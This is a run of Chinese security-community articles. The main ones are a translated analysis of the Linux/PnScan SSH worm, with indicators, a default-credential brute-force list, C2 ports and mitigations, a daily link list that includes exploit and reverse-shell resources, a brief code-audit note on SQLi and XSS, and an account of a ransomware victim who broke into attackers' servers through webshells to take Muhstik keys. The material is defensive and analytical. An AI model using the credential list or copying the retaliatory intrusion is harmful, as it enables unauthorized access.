本文是翻译文章，文章来源：kernelmode.info
原文地址：[http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3975&p=26827#p26827v](http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3975&p=26827#p26827v)
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[Titan_Avenger](http://bobao.360.cn/member/contribute?uid=2795682273)
预估稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**背景**
我们在网上发现了一个有趣的 ELF 蠕虫，这可以帮助提高系统管理员的安全意识。这是个已知的 ELF 恶意软件，可能是 `Linux/PnScan`
的最新变种，在 x86-32 平台发现，从网络中受感染的结点到了我们手中。这个蠕虫针对嵌入式平台，我有点惊讶 i86 程序可以命中 Linux 目标。
在样本送到 MalwareMustDie ELF 分析团队之前，我在 2015 年 9 月 28
日发表过一篇讲述该威胁的[文章][1]，我认为这种威胁现在已经消失了，但是我错了。因为恶意软件那时正处在蠕虫的感染阶段，硬编码指向
183.83.0.0，该恶意程序也是在此处被发现的。在此之前，我从来没有写过这种威胁，这是一个提高对活动蠕虫认识的好机会。
**威胁指标**
出于某种原因，我们不能告知你传染源来自哪里，但就存在于上面提到的 IP 段内。寻找一个受感染的主机非常困难，似乎恶意软件在绕着特定的网络兜圈子。
该文件具有以下特征：
Filename: 'stdin'(.pnscan.x86-32.mmd)
Type: 'ELF 32-bit LSB executable, Intel 80386' (GNU/Linux) statically linked, stripped
Packer: 'UPX (header bit tweak) packed,'
Spotted: 'Tue Aug 23 12:27:21 UTC 2016'
md5: '6fb6f95546d5bdf4db11655249ee5288'
sha1: '2d3e2ce680de6c13ab3236429efd4bca3bfaa79d'
According to VirusTotal it's firstly spotted months ago:
'First submission 2016-01-27 05:26:45 UTC'
静态检测可知，使用了 UPX 壳：
ELF Header: '↓typical packed one'
Magic: 7f 45 4c 46 01 01 01 03 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - GNU
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
'Entry point address: 0xcfce38'
'Start of program headers: 52 (bytes into file)'
Start of section headers: 0 (bytes into file)
Flags: 0x0
' Size of this header: 52 (bytes)'
' Size of program headers: 32 (bytes)'
' Number of program headers: 2'
' Size of section headers: 40 (bytes)'
就像我在[其他文章][2]中解释的一样，这是一个典型的 UPX 头。
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 '0x00c01000' 0x00c01000 0xfc661 0xfc661 R E 0x1000
LOAD 0x000d68 '0x08290d68' 0x08290d68 0x00000 0x00000 RW 0x1000
原始二进制文件可以看出 UPX 的打包痕迹：
该蠕虫使用了定制的 UPX 头部样式来逃避逆向分析和解码：
0x00000000 7f45 4c46 0101 0103 0000 0000 0000 0000 .ELF............
0x00000010 0200 0300 0100 0000 38ce cf00 3400 0000 ........8...4...
0x00000020 0000 0000 0000 0000 3400 2000 0200 2800 ........4. ...(.
0x00000030 0000 0000 0100 0000 0000 0000 0010 c000 ................
0x00000040 0010 c000 61c6 0f00 61c6 0f00 0500 0000 ....a...a.......
0x00000050 0010 0000 0100 0000'680d 0000 680d 2908' ........h...h.).
0x00000060 680d 2908 0000 0000 0000 0000 0600 0000 h.).............
0x00000070 0010 0000 22c0 e4b8 5550 5821 3408 0d0c ...."...UPX!4...
0x00000080 0000 0000 783f 2400 783f 2400 9400 0000 ....x?$.x?$.....
0x00000090 5d00 0000 0800 0000 771f a4f9 7f45 4c46 ].......w....ELF
0x000000a0 0100 0200 0300 1b68 8104 fbaf bddf 0834 .......h.......4
0x000000b0 0ef8 3c24 2f16 2032 2800 1000 0f00 5b5c ..<$/. 2(.....[
0x000000c0 e59d 1d80 4607 c807 2200 0527 db76 7fcf ....F..."..'.v..
有一些方法可以将其转换该 ELF 成原始形式，我会在这个案例处理完毕写一个如何做的文章。
我们有几种不同的方法来破解用定制 UPX 处理过的 ELF 程序。其中之一就曾经在分析 `xxx.pokemon(.)inc`
时用过，[文章][3]中提到这是一个 IRC DDoS 僵尸网络。另一种方法是通过不同的破解手段来实现脱壳，在 radare.org
的论坛上有公开的[分享文章][4]。
上面提到的教程方法都可以成功的破解这个 ELF。
在处理一个困难的 ELF 壳时，我对系统管理员 和 RCE
新手的忠告是：如果你认定了什么事儿，就按照设定的目标不断提高自己，保持耐心和勇气。永远记住，骗子不会变得比你更聪明，秉持这个信念你总会解决问题的！
**Linux/PnScan 蠕虫细节**
以下是 `Linux/PnScan` 蠕虫脱壳的细节，这段视频实际上是我给 CERT 和 IR 做的教程，指导其如何应付这种威胁。我使用 `radare`
来进行逆向分析，案例中有大量的编辑，有些删减掉了、有一部分出于安全考虑隐去了、也有无法解释的部分被跳过了。但是在视频中的全部内容都是可以公开的，如果你是一个
ISP 的 IR 或者在 CERT 工作，这个视频非常值得你观看！因为其他安全原因，有很多细节没有在这个[视频][5]中体现。
译者注：原作者提到该视频中段有可能会遇到无法加载的情况，原作者希望你可以通过重新加载页面来解决这个问题，而不要怪罪视频本身。
**关于 r2 的一点**
系统管理员和逆向分析爱好者在对 ELF 恶意软件进行静态分析时，我会强烈推荐 radare2（r2） 这个工具。我使用不同的工具完成不同的任务，比如
gdb、objdump、ELF utils 等小工具，但我用 r2 [时间最长][6]，它永远不会在 UNIX Shell
中停止工作。MalwareMustDie 的团队成员每天都使用它作为 ELF 分析的工具。
简单的说，r2 可以在任何一个 *NIX 原生架构 Shell
环境中运行，甚至包括那些受感染的系统，这样对静态分析的帮助极大。它不仅仅是一个静态分析工具，它还允许你抽取重要的信息，以及支持丰富的指令，它的灵活、快速值得每一个人去体验尝试！
你可以通过这个[项目][7]和另一个[网站][8]来进一步了解 radare2。
继续我们的分析！
该 ELF 有下列依赖：
libc-2.13.so
ld-2.13.so
其使用 GCC(4.1.x) 编译工具链完成编译，并指明编译选项为启用 SSL 配置、面向 i686。看起来作者工作的桌面在加密磁盘
`/media/truecrypt1` 中，工作路径为 `/my/framework/`：
**
**
**工作综述**
通过逆向分析，在这个 ELF 样本中没有发现什么新的功能，只在具体使用方法上存在差异，它针对 x86-32 平台，并且以印度的网络为目标。工具链使用了
i686 的编译选项是很奇怪的，但也显示出 x86-32 不是他唯一的目标平台。从感染的历史数据来看，2015 年 9 月发现了针对 MIPS
的版本。简单来看，该蠕虫并不仅仅针对物联网设备和 Linux 的嵌入式设备，对服务器、应用程序以及默认口令都有关注。
**总结**
1\. fork 四次，算上主进程一共有 5 个
2\. 在工作目录创建带有以下功能的文件
permission size date filename function
----------------------------------------------- ----------------- -rw-r--r-- 387 Aug 23 12:06 list2 <-- connected hosts
-rw-r--r-- 4 Aug 23 12:02 MalwareFile.pid <-- pids
-rw-r--r-- 0 Aug 23 12:02 daemon.log <-- malware log
-rw-r--r-- 35 Aug 23 12:02 login2 <-- brute auth
drwxr-xr-x 4096 Aug 23 12:02 files/ <-- updates/downloads/C2 data
3\. 守护并监听 2 个 TCP 端口
IPv4 TCP/＊:9000 (for /check command and /upload command's remote access)
IPv4 TCP/＊:1337 (remote uptime or ping quick check)
4\. 最初攻击目标为 183.83.0.0/16（硬编码存储）
Country: 'India (Telangana, Kashmit region network in India)'
For 'SSH services' in port: 'TCP/22' (ssh)
5\. 暴力破解
root:root
admin:admin
ubnt:ubnt
6\. SSL 通信
通过 `HTTP/1.1` 对 `twitter.com、reddit.com、google.com、microsoft.com` 发起请求传送 SSL
流量。
write(113, "263121137433%25423125346263EuUvI2610bcI_246262g273267
342C2433l327214R2152403000300,300(300$30024300n245243241237
kjih0090080070062102072062053002300.300*300&30017300523
5=005204300/300+300'300#30023300t244242240236g@?>0030
02001000232231230227EDCB3001300-300)300%300163004234<
/226A73002230010262320r300r3003n37710132016
'vtwitter.com'v4312n34322731343330322616r
vftnr 3661626351525341424331323321222317
1013t20vt'10http/1.1'25267
:
0", 517)
EmergingThreat Lab 提供了一个更清晰的 PCAP：
7\. SSL 加密流量
该蠕虫通过向 SNS 网站发送加密的 SSL 请求来进行隐蔽通信，主要包括
twitter.com、reddit.com、microsoft.com、google.com、my.mail.ru
等网站，如同上面的视频中提到的，蠕虫会在 /files/ 下生成一个包含命令控制服务器 IP 和 端口的文件。如果你想测试与蠕虫进行通信，该蠕虫可以在
TCP/9000 端口响应知名的僵尸网络协议，TCP/1337 也是一个感染成功的标志。如果 TCP/9000 和 TCP/1337 端口都开放了，状态都是
ESTBLISHED，有很大可能性被感染了。
下面这个 PCAP 快照就是在感染初期阶段的一些请求：
启动连接
客户端请求
服务器应答
没有成功建立连接，它将会重新尝试下一个，此时是 reddit.com
蠕虫不断扫描、不断爆破的同时也在持续发送请求。直到蠕虫与控制服务器建立了连接，攻击者可以控制被感染设备才会停止活动。
这就是为什么在编译选项中使用了启用 SSL 选项，需要使用 Twitter、reddit 等 SNS 网站的 SSL
认证来传输数据以及进一步创建与控制服务器的连接。
**感染症状**
在感染的最初阶段，感染主机会发现如下进程运行：
stdin 2712 root cwd DIR 8,1 4096 131126 /test/
stdin 2712 root rtd DIR 8,1 4096 2 /
stdin 2712 root txt REG 8,1 1034309 131146 /test/stdin
stdin 2712 root 0u REG 8,1 0 131171 /test/daemon.log
stdin 2712 root 1u REG 8,1 0 131171 /test/daemon.log
stdin 2712 root 2u CHR 136,0 0t0 3 /dev/pts/0
stdin 2712 root 3r FIFO 0,8 0t0 6188 pipe
stdin 2712 root 4w FIFO 0,8 0t0 6188 pipe
stdin 2712 root 5u 0000 0,9 0 1185 anon_inode
stdin 2712 root 6u unix 0xcda07300 0t0 6191 socket
stdin 2712 root 7u unix 0xce020d40 0t0 6192 socket
stdin 2712 root 8u IPv4 6193 0t0 TCP *:9000 (LISTEN)
stdin 2712 root 9u 0000 0,9 0 1185 anon_inode
stdin 2712 root 10u unix 0xce020ac0 0t0 6194 socket
stdin 2712 root 11u unix 0xce020840 0t0 6195 socket
stdin 2712 root 12u IPv4 6196 0t0 TCP *:1337 (LISTEN)
发起的攻击可以在网络连接中看出：
stdin 2712 root 13u IPv4 6197 0t0 TCP x.x.x.x:40709->183.83.0.0:22 (SYN_SENT)
stdin 2712 root 14u IPv4 6198 0t0 TCP x.x.x.x:37944->183.83.0.1:22 (SYN_SENT)
stdin 2712 root 15u IPv4 6199 0t0 TCP x.x.x.x:35576->183.83.0.2:22 (SYN_SENT)
stdin 2712 root 16u IPv4 6200 0t0 TCP x.x.x.x:41811->183.83.0.3:22 (SYN_SENT)
stdin 2712 root 17u IPv4 6201 0t0 TCP x.x.x.x:43278->183.83.0.4:22 (SYN_SENT)
stdin 2712 root 18u IPv4 6202 0t0 TCP x.x.x.x:37969->183.83.0.5:22 (SYN_SENT)
stdin 2712 root 19u IPv4 6203 0t0 TCP x.x.x.x:39383->183.83.0.6:22 (SYN_SENT)
stdin 2712 root 20u IPv4 6204 0t0 TCP x.x.x.x:38038->183.83.0.7:22 (SYN_SENT)
stdin 2712 root 21u IPv4 6205 0t0 TCP x.x.x.x:35040->183.83.0.8:22 (SYN_SENT)
stdin 2712 root 22u IPv4 6206 0t0 TCP x.x.x.x:59569->183.83.0.9:22 (SYN_SENT)
stdin 2712 root 23u IPv4 6207 0t0 TCP x.x.x.x:50921->183.83.0.10:22 (SYN_SENT)
stdin 2712 root 24u IPv4 6208 0t0 TCP x.x.x.x:36079->183.83.0.11:22 (SYN_SENT)
stdin 2712 root 25u IPv4 6209 0t0 TCP x.x.x.x:35134->183.83.0.12:22 (SYN_SENT)
stdin 2712 root 26u IPv4 6210 0t0 TCP x.x.x.x:59932->183.83.0.13:22 (SYN_SENT)
stdin 2712 root 27u IPv4 6211 0t0 TCP x.x.x.x:35682->183.83.0.14:22 (SYN_SENT)
stdin 2712 root 28u IPv4 6212 0t0 TCP x.x.x.x:57709->183.83.0.15:22 (SYN_SENT)
为了更精确的描述攻击的具体情况，下面是包含 PoC 的 PCAP 包记录[视频][9]，数据太多所以视频只能将记录到的对 SSH 进行暴力扫描/破解过程的
3%。
如果有数十台甚至上百台受感染主机，你可以想象流量将会多么混乱。如果目标网络中七号有大量的 SSH 默认口令登录，攻击者就可以创建一个庞大的感染链。
每个已连接的目标都在 `list2` 文件中记录着：
0000 31 38 33 2e 38 33 2e 30 2e 33 33 3b 32 32 3b 0a |183.83.0.33;22;.|
0010 31 38 33 2e 38 33 2e 30 2e 38 30 3b 32 32 3b 0a |183.83.0.80;22;.|
0020 31 38 33 2e 38 33 2e 32 2e 32 36 3b 32 32 3b 0a |183.83.2.26;22;.|
0030 31 38 33 2e 38 33 2e 32 2e 34 31 3b 32 32 3b 0a |183.83.2.41;22;.|
0040 31 38 33 2e 38 33 2e 32 2e 31 31 30 3b 32 32 3b |183.83.2.110;22;|
0050 0a 31 38 33 2e 38 33 2e 32 2e 32 31 30 3b 32 32 |.183.83.2.210;22|
0060 3b 0a 31 38 33 2e 38 33 2e 33 2e 32 32 3b 32 32 |;.183.83.3.22;22|
0070 3b 0a 31 38 33 2e 38 33 2e 33 2e 31 34 38 3b 32 |;.183.83.3.148;2|
0080 32 3b 0a 31 38 33 2e 38 33 2e 34 2e 39 33 3b 32 |2;.183.83.4.93;2|
0090 32 3b 0a 31 38 33 2e 38 33 2e 34 2e 31 35 36 3b |2;.183.83.4.156;|
00a0 32 32 3b 0a 31 38 33 2e 38 33 2e 35 2e 31 36 3b |22;.183.83.5.16;|
00b0 32 32 3b 0a 31 38 33 2e 38 33 2e 35 2e 32 30 36 |22;.183.83.5.206|
00c0 3b 32 32 3b 0a 31 38 33 2e 38 33 2e 36 2e 31 32 |;22;.183.83.6.12|
00d0 37 3b 32 32 3b 0a 31 38 33 2e 38 33 2e 37 2e 34 |7;22;.183.83.7.4|
00e0 33 3b 32 32 3b 0a 31 38 33 2e 38 33 2e 37 2e 31 |3;22;.183.83.7.1|
00f0 32 33 3b 32 32 3b 0a 31 38 33 2e 38 33 2e 37 2e |23;22;.183.83.7.|
0100 31 38 37 3b 32 32 3b 0a 31 38 33 2e 38 33 2e 31 |187;22;.183.83.1|
0110 31 2e 35 31 3b 32 32 3b 0a 31 38 33 2e 38 33 2e |1.51;22;.183.83.|
0120 31 31 2e 38 34 3b 32 32 3b 0a 31 38 33 2e 38 33 |11.84;22;.183.83|
0130 2e 31 31 2e 31 36 38 3b 32 32 3b 0a 31 38 33 2e |.11.168;22;.183.|
0140 38 33 2e 31 32 2e 31 34 35 3b 32 32 3b 0a 31 38 |83.12.145;22;.18|
0150 33 2e 38 33 2e 31 32 2e 32 34 30 3b 32 32 3b 0a |3.83.12.240;22;.|
0160 31 38 33 2e 38 33 2e 31 33 2e 31 36 32 3b 32 32 |183.83.13.162;22|
0170 3b 0a 31 38 33 2e 38 33 2e 31 34 2e 39 32 3b 32 |;.183.83.14.92;2|
0180 32 3b 0a |2;.|
在 `login2` 的文件中可以发现爆破列表：
0000 72 6f 6f 74 3b 72 6f 6f 74 3b 0a 61 64 6d 69 6e |root;root;.admin|
0010 3b 61 64 6d 69 6e 3b 0a 75 62 6e 74 3b 75 62 6e |;admin;.ubnt;ubn|
0020 74 3b 0a |t;.|
0023
主要的进程 PID 都存储在 `[MalwareFile].pid ` 中：
0000 32 37 31 32 |2712|
0004
**威胁起源**
对于其威胁来源，我和同事进行过讨论，处于安全原因，我不提他的身份了。
1\. 编译痕迹
可以看出其使用了 Truecrytt 使用过的交叉编译工具，而且其工作目录运行在 Truecrypt
中也可以看出其与东欧网络骗子的一些活动有关。这些都暗示了这个威胁的起源：
0x8238ff8 102 101 OPENSSLDIR: "/media/truecrypt1/my/framework/../toolchains/cross-compiler-i686/i686-unknown-linux/ssl"
0x8248eac 96 95 /media/truecrypt1/my/framework/../toolchains/cross-compiler-i686/i686-unknown-linux/lib/engines
0x825e294 96 95 /media/truecrypt1/my/framework/../toolchains/cross-compiler-i686/i686-unknown-linux/ssl/private
0x825e2f4 88 87 /media/truecrypt1/my/framework/../toolchains/cross-compiler-i686/i686-unknown-linux/ssl
0x825e34c 94 93 /media/truecrypt1/my/framework/../toolchains/cross-compiler-i686/i686-unknown-linux/ssl/certs
0x825e3ac 97 96 /media/truecrypt1/my/framework/../toolchains/cross-compiler-i686/i686-unknown-linux/ssl/cert.pem
2.MY.MAIL.RU API 的使用
该蠕虫使用了俄罗斯最大的公共邮件服务 `mail.ru` 的
API，我们认为攻击者应该是讲俄语的，我们没有提到国家性质，这只能表明很大可能性攻击者定居在俄罗斯。攻击者知道如何使用 `my.mail.ru`
的特定子域名：
0x8220f7a 11 10 my.mail.ru
0x8220f85 20 19 https://%s/mail/%s/
**缓解与检测方法**
**缓解办法**
1\. 确保你网络上的设备都不是 SSH 默认口令，如果可能不要使用 SSH 标准端口
2\. 如果有一个主机与你的连接建立在 TCP/1337 和 TCP/9000 的基础上，你很有可能已经被感染了。如果你本地还有使用 TCP/9000
的程序在运行，就可以进一步确定，你可以在这个[网站][10]查看。
3\. 如果你在 IDS/IPS 上发现了通过 SSL 加密发往那些 SNS
网站的数据包，而这些数据包恰好来自那些本不应该出现类似行为的设备，比如物联网设备。请务必查看 TCP/1337 和 TCP/9000
端口是否被利用，如果可以，进行脱机检查是必要的；如果已经被感染控制，最好重置固件然后更改 SSH 的默认端口和密码。
4\. 对于服务器，清除该蠕虫并不困难。蠕虫在最初感染阶段并不具备 rootkit
能力，除非攻击者不再进行后门连接或者进一步对受害者的设备进行操作，检测活动目录并删除木马文件即可。在删除之前，快照一个网络进程列表，在修复过程中要断网操作。迄今为止这个蠕虫还没有表现出自启动的设计。
5\. 只是为了确定你的系统是否危险不用保持离线。蠕虫会扫描 SSH
端口、尝试爆破才能感染。该蠕虫的感染速度非常快，在分析的短短几分钟内就有超过一百个节点被攻击了。一旦感染了蠕虫请立即脱机，极有可能是因为你的 IP
段内有设备受到了感染。
6\. 可以给我留言联系进一步的协助，或者尝试与我们的 Twitter
账户（@malwaremustdie）进行沟通，我们将会尽我们所能帮助您。不过请耐心等待答复。
**拦截签名**
十分感谢 ETLab 帮助我们完善了 Snort 和 Suricata 开源规则来应对这种威胁。
规则极其复杂，探测该蠕虫的网络活动：
2023087 - ET TROJAN PNScan.2 Inbound Status Check - set (trojan.rules)
2023088 - ET TROJAN PNScan.2 Inbound Status Check Response (trojan.rules)
2023089 - ET TROJAN PNScan.2 CnC Beacon (trojan.rules)
2023090 - ET TROJAN PNScan.2 CnC Beacon 2 (trojan.rules)
需要指出的是，这可能让你有点困惑，但是不要将它和 `Linux/PnScan.1`
混为一谈，他们的工作方式并不相同。另外这些威胁的命名是由宣布发现的第一个实体决定的。
**结论、样本**
这个蠕虫重新感染了 i86 的 Linux
机器，当该蠕虫攻陷了一个目标，就会扫描更多的目标。它可以在易受攻击的网络中肆意传播，感染数量呈指数级增长。我猜在过去的六个月中，位于俄罗斯的攻击者等待合适的时机来访问受感染的节点。
VirusTotal 上的[样本][11]
**[原文地址] [12]**
[1]:
[http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3975&p=26827#p26827](http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3975&p=26827#p26827)
[2]: <http://blog.malwaremustdie.org/2016/04/mmd-0053-2016-bit-about-elfstd-irc-bot.html>
[3]: <http://blog.malwaremustdie.org/2016/04/mmd-0053-2016-bit-about-elfstd-irc-bot.html>
[4]: <http://radare.org/>
[5]: <https://youtu.be/58zr-1JU2OI>
[6]: <http://blog.malwaremustdie.org/2012/09/slight-changes-in-shellcode-dropper.html>
[7]: <https://github.com/radare/radare2/releases>
[8]: <http://radare.org/con/>
[9]: <https://youtu.be/IX6L7v8dXsk>
[10]: <http://www.speedguide.net/port.php?port=9000>
[11]:
<https://www.virustotal.com/en/file/5685b086ce12ffede8814e303223a67eca476735dfe4e9e84b751354a5ea0232/analysis/1471967010/>
[12]: <http://blog.malwaremustdie.org/2016/08/mmd-0054-2016-pnscan-elf-worm-that.html> | 社区文章 |
# 【知识】7月5日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 世界第四大密币交易平台Bithumb被黑 **** **、**
分析TeleBots的后门、《云端的威胁检测》和《开源威胁情报的自动整理》、渗透技巧——Windows日志的删除与绕过 **、**
ActiveMQ任意文件写入漏洞（CVE-2016-3088）、NotPetya技术分析第二部分：MBR恢复的可行性 **、 一封伪造邮件引发的研究****
**
**
**资讯类：**
世界第四大密币交易平台Bithumb被黑
<https://www.bleepingcomputer.com/news/security/fourth-largest-cryptocurrency-exchange-was-hacked-users-lose-ethereum-and-bitcoin/>
**技术类：**
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
分析TeleBots的后门
<https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/>
通过单元测试解决Security Regression – 第1部分
<https://l.avala.mp/?p=169>
《云端的威胁检测》和《开源威胁情报的自动整理》
<http://paper.kakapo.ml/?p=145>
解密TFS中的秘密向量
<https://lowleveldesign.org/2017/07/04/decrypting-tfs-secret-variables/>
linux-x86:Shell Reverse TCP shellcode
<https://www.rcesecurity.com/2014/07/slae-shell-reverse-tcp-shellcode-linux-x86/>
逆向和利用BLE 4.0通信
<http://payatu.com/reversing-exploiting-ble-4-0-communication/>
渗透技巧——Windows日志的删除与绕过
<https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/>
CTF线下攻防赛总结
<http://rcoil.me/2017/06/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%80%BB%E7%BB%93/>
ActiveMQ任意文件写入漏洞（CVE-2016-3088）
<https://github.com/phith0n/vulhub/tree/master/activemq/CVE-2016-3088>
几款内网转发的工具
<https://mp.weixin.qq.com/s/EWL9-AUB_bTf7pU4S4A2zg>
一个基于REST API的安全测试框架
<https://github.com/ant4g0nist/Susanoo>
不安全直接对象引用漏洞入门指南
<http://www.hackingarticles.in/beginner-guide-insecure-direct-object-references/>
微软ATA 1.8版本更新了哪些内容
<https://docs.microsoft.com/en-us/advanced-threat-analytics/whats-new-version-1.8>
x86 Disassembly：探索C，x86程序集和机器代码之间的关系
<https://en.wikibooks.org/wiki/X86_Disassembly>
[https://en.wikibooks.org/w/index.php?title=Special:Book&bookcmd=download&collection_id=a8c705d7d0789c1d9c63aa0e0936076628a0b7e1&writer=rl&return_to=Wikibooks%3ACollections%2Fx86+Disassembly](https://en.wikibooks.org/w/index.php?title=Special:Book&bookcmd=download&collection_id=a8c705d7d0789c1d9c63aa0e0936076628a0b7e1&writer=rl&return_to=Wikibooks%3ACollections%2Fx86+Disassembly)
法国SSTIC 2017总结
<http://blog.fortinet.com/2017/07/04/sstic-2017-in-a-nutshell>
gshark-framework：利用telegram 控制后门的框架
<https://github.com/graniet/gshark-framework>
NotPetya技术分析第二部分：MBR恢复的可行性
<https://www.crowdstrike.com/blog/petrwrap-technical-analysis-part-2-further-findings-and-potential-for-mbr-recovery/>
OWASP依赖检查v2.0.0版本发布
<https://jeremylong.github.io/DependencyCheck/>
逆向一个Android app
<https://secureyourdigitallife.in/reverse-engineering-android-apps/>
WinPayloads：用于Windows上不可检测的有效载荷生成
<https://github.com/nccgroup/Winpayloads>
WSUXploit：WSUS漏洞利用脚本
<http://pentestit.com/wsuxploit-weaponized-wsus-exploit-script/>
一封伪造邮件引发的研究
<http://bobao.360.cn/learning/detail/4056.html> | 社区文章 |
**说在前面**
最近一直在学习代码审计，前段时间看过一个xx文库系统<https://xz.aliyun.com/t/10988>
经过一番菜鸡摸索后发现几个小问题，于是乎兴高采烈去提交，后面发现居然已经有人交了，还有很多那种自己当时没有找到的（可能没仔细看或者没往那里想或者是真的菜），于是便有了这篇记录，真的好菜啊。
**正文**
大概是有以下这么多：
Xss 4
路径穿越 1
sqli 5
上传 2
rce 1
因为rce、上传、路径那块感觉上次找到了，就不多说了，这次主要看xss、sqli。
一、sqli
某个方法下，
参数拼接，
且没过滤，延时：
这里都已经是两个函数了，然后又发现3个差不多的函数
在内容管理和用户登录逻辑判断发现也有相似的拼接：
好吧，大致算算已经有7个了，值得一提的是前面6个都是前台。
二、xss
主要区分一下两种xss，一个是能打管理员的那种存储型的，还有是自我娱乐型反射xss。
但是说白了，害，主要还是在没过滤上。
存储型：
标题写到了属性data-title里面，构造闭合
成功插入了js
同样的情况，发现后台还有好多个：
会员管理、文档标签、举报管理、帖子管理、新闻列表等，均存在此类存储型xss:
反射型，相当于自娱自乐型，这里就不具体分析了，基本上都大同小异：
**总结**
跟师傅们比差远了，老是这些三脚猫的东西还搞不明白，还是安心回流水线干活踏实，哈哈。 | 社区文章 |
# 受害者入侵黑客服务器，获取Muhstik解密密钥
##### 译文声明
本文是翻译文章，文章原作者 安全分析与研究，文章来源：安全分析与研究
原文地址：[https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&mid=2247484990&idx=1&sn=59b80f6e19ac2d69e5831797b759cddd&chksm=902fa916a75820007749657a89423ece1cc666674c23705d4a5a7071661f0c5e998a0242d089&mpshare=1&scene=1&srcid=1009liMe4wFq9wvFFXTlJ6vq&sharer_sharetime=1570626102640&sharer_shareid=3aed1a9e8ca30db91f074b119a150387#rd](https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&mid=2247484990&idx=1&sn=59b80f6e19ac2d69e5831797b759cddd&chksm=902fa916a75820007749657a89423ece1cc666674c23705d4a5a7071661f0c5e998a0242d089&mpshare=1&scene=1&srcid=1009liMe4wFq9wvFFXTlJ6vq&sharer_sharetime=1570626102640&sharer_shareid=3aed1a9e8ca30db91f074b119a150387#rd)
译文仅供参考，具体内容表达以及含义原文为准。
今年九月份以来Muhstik勒索病毒黑产团队通过入侵一些公开的QNAP
NAS设备，使用Muhstik勒索病毒对设备上的文件进行加密，加密后的文件名后缀变为muhstik，如果要解密文件，需要受害者支付0.09BTC(约合700美)的赎金……
此勒索病毒的勒索提示信息，如下所示：
近日一名德国的Muhstik勒索病毒受害者在支付了670欧元的赎金之后，对Muhstik勒索病毒解密服务器进行分析，发现黑客所使用的服务器里面包含多个WebShell脚本，很可能这个服务器已经被其他黑客入侵了，通过这些WebShell可以访问PHP脚本，于是他创建了一个PHP脚本，并使用它获取到了黑客服务器数据库上存储的2858个Muhstik解密的密钥
在获取到相应的解密密钥之后，他在论坛发表了这则消息，如下所示：
并在pastebin.com网站下公布了Muhstik的解密密钥，地址：
<https://pastebin.com/raw/N8ahWBni>
获取到的解密密钥，如下所示：
他在文档中声称：我知道这是非法的，但是我使用的是已经被黑客入侵的服务器，而且我不是坏人……
这位德国的受害者，他被勒索了670欧元，他感觉很伤心，是我，我也伤心，好几千块呢，所以他公布了自己的BTC钱包地址，希望有人能为他的这个行为而支付相应的BTC，得到一定的回报，BTC地址：
1JrwK1hpNXHVebByLD2te4E2KzxyMnvhb
解密工具下载地址：
<https://mega.nz/#!O9Jg3QYZ!5Gj8VrBXl4ebp_MaPDPE7JpzqdUaeUa5m9kL5fEmkVs>
解密工具，使用方法：
1.上传到NAS设备
2.chmod +x decrypt 设置可执行权限
3.sudo ./decrypt YOURDECRYPTIONKEY 使用管理者权限执行，并传入解密密钥
下载解密工具，发现它是使用python脚本编写的，对解密工具进行逆向分析，还原出里面的python脚本，此解密工具会先遍历磁盘，寻找加密的文件或勒索信息文件，如下所示：
然后通过解密密钥进行解密，如下所示：
10月7号，Emsisoft也发布了可以运行在Windows平台上Muhstik的解密工具，如下所示：
解密工具下载地址：
<https://www.emsisoft.com/ransomware-decryption-tools/free-download>
打开解密工具，如下所示：
Emsisoft确实是一家良心的安全公司，一直在致力于开发和提供各种勒索病毒免费解密工具，此前Emsisoft安全公司的一位勒索病毒解密工具开发者，被全球一百多个勒索病毒黑产团伙跟踪，导致他不断更换住所，这些勒索病毒黑产团伙最后甚至还开发了一款以他的名字为命名的勒索病毒，该安全研究人员的人身安全可能都受到了威胁……
补充：
Muhstik解密python源码
<https://download.bleepingcomputer.com/demonslay335/decrypt_muhstik.py>
使用方法：
usage: decrypt_muhstik.py [-h] -p PASSWORD -d DIRECTORY [-r]
Decrypt Muhstik Ransomware
(c) 2019 Emsisoft Ltd.
optional arguments:
-h, —help show this help message and exit
-p PASSWORD, —password PASSWORD
Password to decrypt with (32 hex characters)
-d DIRECTORY, —directory DIRECTORY
Directory to decrypt (recursive)
-r, —remove Delete the encrypted file if successful (careful!)
例子：
> python decrypt_muhstik.py -p fbb6193d8bbb1ecf7207f12d7c9cd2c8 -d
> D:muhstiktest
最近一两年针对企业攻击的勒索病毒越来越多,不断有新的变种以及勒索病毒新家族出现,真的是越来越多了，各企业一定要高度重视,黑产团伙一直在寻找新的攻击目标…… | 社区文章 |
本文来源：[长亭技术专栏](https://zhuanlan.zhihu.com/p/25816426)
作者：[ **Jwizard**](https://www.zhihu.com/people/Jwizard)
## _0x00_ 写在最前面
_ **开场白：** _快报快报！今天是2017
Pwn2Own黑客大赛的第一天，长亭安全研究实验室在比赛中攻破Linux操作系统和Safari浏览器（突破沙箱且拿到系统最高权限），积分14分，在11支队伍中暂居
Master of Pwn
第一名。作为热爱技术乐于分享的技术团队，我们开办了这个专栏，传播普及计算机安全的“黑魔法”，也会不时披露长亭安全实验室的最新研究成果。
